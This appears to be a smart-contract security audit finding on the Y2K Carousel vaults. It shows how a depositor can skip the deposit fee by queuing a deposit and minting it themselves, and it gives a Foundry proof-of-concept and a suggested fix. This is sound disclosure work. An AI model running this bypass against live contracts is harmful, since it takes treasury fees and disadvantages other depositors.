toshii

high

# Any user can trivially circumvent deposit fee to deposit free of charge at any point in time before an epoch begins

## Summary

Any user can trivially circumvent deposit fee to deposit free of charge at any point in time before an epoch begins, which breaks the fundamental game-theory mechanics of this protocol.

## Vulnerability Detail

A major component of this protocol is ensuring that there are good game theory mechanics when it comes to  users in the counterparty vaults being incentivized to actually deposit funds. This is especially true for a new epoch in which one side will always need to deposit before there are any funds in the adjacent vault. If there was no incentive system to push users to deposit earlier rather than later, users would be significantly less likely to deposit until the lass second, due to the uncertain nature of potential payouts (especially considering they can't withdraw after depositing). This is baked into the Y2k protocol with the `depositFee`, which is a part of every vault. Essentially users are increasingly penalized up to the max amount right before an epoch begins.

However, any user can trivially circumvent the `depositFee` by first calling `deposit(..)` or `depositETH(..)` with `_id = 0`, which will push their deposit onto the deposit queue. The user will then call `mintDepositInQueue(..)` which will mint their deposit without applying any deposit fee. There is technically a `relayerFee` which the user will have to pay, but if they call the function themselves then they will simply get sent those funds back, resulting in absolutely no loss to the user. This will effectively allow any user to wait until the last second to deposit into whichever vault they think will have the highest payout with absolutely no penalty. 

Referenced lines of code:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L494-L500
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L310

## Impact

This is high severity because of how simple it is, the ability to effectively steal funds otherwise earmarked for the treasury, and its major implications on the mechanics of the protocol, including how it could effectively be used by bots to screw over normal users.

## Code Snippet

POC including preliminary state and steps (foundry test):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

// project files
import {TokenMock} from "src/my-tests/TokenMock.sol"; // simple ERC20 token w/ minting
import {WETH} from "src/my-tests/WETH.sol"; // WETH mock
import {OracleMock} from "src/my-tests/OracleMock.sol"; // mock oracle

import {Carousel} from "src/v2/Carousel/Carousel.sol";
import {CarouselFactory} from "src/v2/Carousel/CarouselFactory.sol";
import {ControllerPeggedAssetV2} from "src/v2/Controllers/ControllerPeggedAssetV2.sol";

contract TestBypassDepositFee is Test {
    // protocol users
    address admin = makeAddr('admin'); // project admin
    address attacker = makeAddr('attacker'); // attacker address
    address user1 = makeAddr('user1'); // other user addresses
    address user2 = makeAddr('user2');
    address user3 = makeAddr('user3');

    WETH weth;
    TokenMock emissionsToken;
    OracleMock sequencerFeed;
    OracleMock priceFeed;

    CarouselFactory carouselFactory;
    ControllerPeggedAssetV2 controllerPeggedAssetV2;
    Carousel premiumVault;
    Carousel collateralVault;
    
    uint256 epochId1;
    uint256 epochId2;
    uint256 marketId;

    /// configuring starting state for showing bug/exploit
    function setUp() public {
        vm.deal(attacker, 100 ether);
        vm.deal(user1,100 ether);
        vm.deal(user2,100 ether);
        vm.deal(user3,100 ether);

        vm.startPrank(admin); // admin setting up starting project state
        vm.warp(10_000); // to mock that sequencer is up

        weth = new WETH();
        emissionsToken = new TokenMock();
        emissionsToken.mint(admin,10_000e18); // admin is used as treasury

        carouselFactory = new CarouselFactory(
            address(weth),admin,admin,address(emissionsToken)
        );
        emissionsToken.approve(address(carouselFactory),type(uint256).max);

        sequencerFeed = new OracleMock();
        sequencerFeed.setData(1,0,0,0,1); // sequencer is up

        priceFeed = new OracleMock();
        priceFeed.setData(1,1e8,0,0,1); // setting price for asset, decimals=8

        controllerPeggedAssetV2 = new ControllerPeggedAssetV2(
            address(carouselFactory),address(sequencerFeed),admin
        );

        carouselFactory.whitelistController(address(controllerPeggedAssetV2));

        // creating a new market:
        CarouselFactory.CarouselMarketConfigurationCalldata memory config = 
            CarouselFactory.CarouselMarketConfigurationCalldata({
                token: address(1), // arbitrary, just for lookup to oracle
                strike: 99e17,
                oracle: address(priceFeed),
                underlyingAsset: address(weth),
                name: "name",
                tokenURI: "tokenURI",
                controller: address(controllerPeggedAssetV2),
                relayerFee: 10000,
                depositFee: 250
            }
        );

        (address premium, address collateral, uint256 _marketId) = carouselFactory.createNewCarouselMarket(config);
        marketId = _marketId;
        premiumVault = Carousel(premium);
        collateralVault = Carousel(collateral);

        // creating the first two epochs, with the first one beginning and the second one queued:

        (epochId1,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+10), // epochBegin
            uint40(block.timestamp+20), // epochEnd
            100,1_000e18,1_000e18
        );

        vm.warp(block.timestamp+10); // epoch 1 has started

        // 10 timestamp gap between the first epoch and the second epoch
        (epochId2,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+20), // epochBegin
            uint40(block.timestamp+30), // epochEnd
            100,1_000e18,1_000e18
        );

        // first epoch resolved with nullEpoch as there are no deposits
        controllerPeggedAssetV2.triggerNullEpoch(marketId,epochId1);
        vm.stopPrank();
    }

    /// showcasing the bug/exploit
    function testBypassDepositFee() public {

        // showcasing how any user can trivially bypass the deposit fee, and how it allows them to maximize returns
        // through depositing at the last second at the expense of the users deposited in the counterparty vault

        // user deposits money into the premium vault
        vm.prank(user1);
        premiumVault.depositETH{value:1e18}(
            epochId2,user1
        );

        vm.warp(block.timestamp+20); // second epoch has started
        
        // attacker waits until this final timestamp to make maximum EV play
        // in this final timestamp, the fee should be 2.50% based on the configuration of this vault

        vm.prank(attacker);
        collateralVault.depositETH{value:10_001}(
            0,attacker // will add to deposit queue
        );
        vm.prank(attacker);
        collateralVault.mintDepositInQueue( // attacker mints their own deposit in queue
            epochId2,1
        );

        // by minting their own deposit, the attacker has deposited in the last second with no cost to themselves
        // as they circumvented the deposit fee, and the relayer fee is simply sent back to themselves
        assertEq(weth.balanceOf(attacker)+collateralVault.balanceOf(attacker,epochId2),10_001); // no loss of funds
    }

}
```

## Tool used

Manual Review

## Recommendation

The mitigation for this issue is to enforce the `depositFee` in the `mintDepositInQueue(..)` function similar to how it is done in the `_deposit(..)` function when `_id != 0`.  The simplest way to do this would be to add that functionality in the `else` block of the `_deposit(..)` function:

```solidity
...
} else {
    (uint256 maxX, , uint256 minX) = getEpochConfig(_id);
    uint256 fee = _calculateFeePercent(int256(minX), int256(maxX));
    uint256 feeAmount = _assets.mulDivDown(fee, 10000);

    assetsToDeposit = _assets - feeAmount;
    require(assetsToDeposit >= relayerFee,"unable to queue deposit");

    _asset().safeTransfer(treasury, feeAmount);

    depositQueue.push(
        QueueItem({assets: assetsToDeposit, receiver: _receiver, epochId: _id})
    );

    emit DepositInQueue(msg.sender, _receiver, _id, assetsToDeposit);
}
```